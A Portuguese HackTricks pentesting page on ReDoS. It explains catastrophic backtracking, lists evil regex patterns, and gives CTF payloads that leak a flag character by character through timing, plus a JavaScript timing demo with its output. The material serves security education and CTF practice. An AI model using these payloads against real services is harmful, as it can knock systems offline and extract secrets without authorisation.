hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

6 KiB

Negação de Serviço por Expressão Regular - ReDoS

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Negação de Serviço por Expressão Regular (ReDoS)

A Negação de Serviço por Expressão Regular (ReDoS) é um tipo de ataque de Negação de Serviço que se aproveita das ineficiências nas implementações de expressões regulares. A maioria dos motores de expressão regular pode encontrar situações extremas onde eles desempenham muito lentamente, frequentemente de forma exponencialmente relacionada ao tamanho da entrada. Explorando isso, um atacante pode fazer com que um programa que usa expressões regulares fique inoperante por um período prolongado de tempo.

O Problema do Algoritmo Ingênuo de Regex

Confira os detalhes em https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Regexes Maliciosas

Um padrão de expressão regular malicioso refere-se a um que pode ficar preso em entradas manipuladas. Padrões de regex maliciosos tipicamente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} para x > 10

Todos os acima são suscetíveis à entrada aaaaaaaaaaaaaaaaaaaaaaaa! (O comprimento mínimo da entrada pode mudar ligeiramente, ao usar máquinas mais rápidas ou mais lentas).

Cargas Úteis de ReDoS

Exfiltração de String via ReDoS

Em um CTF (ou bug bounty) talvez você controle o Regex com o qual uma informação sensível (a flag) é comparada. Então, pode ser útil fazer a página congelar (timeout ou tempo de processamento mais longo) se o Regex corresponder e não se não corresponder. Desta forma, você será capaz de exfiltrar a string caractere por caractere:

  • Neste post você pode encontrar esta regra de ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Exemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • Neste writeup você pode encontrar este: <flag>(((((((.*)*)*)*)*)*)*)!
  • Neste writeup ele usou: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlando Entrada e Regex

A seguir estão exemplos de ReDoS onde você controla tanto a entrada quanto o regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Ferramentas

Referências

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: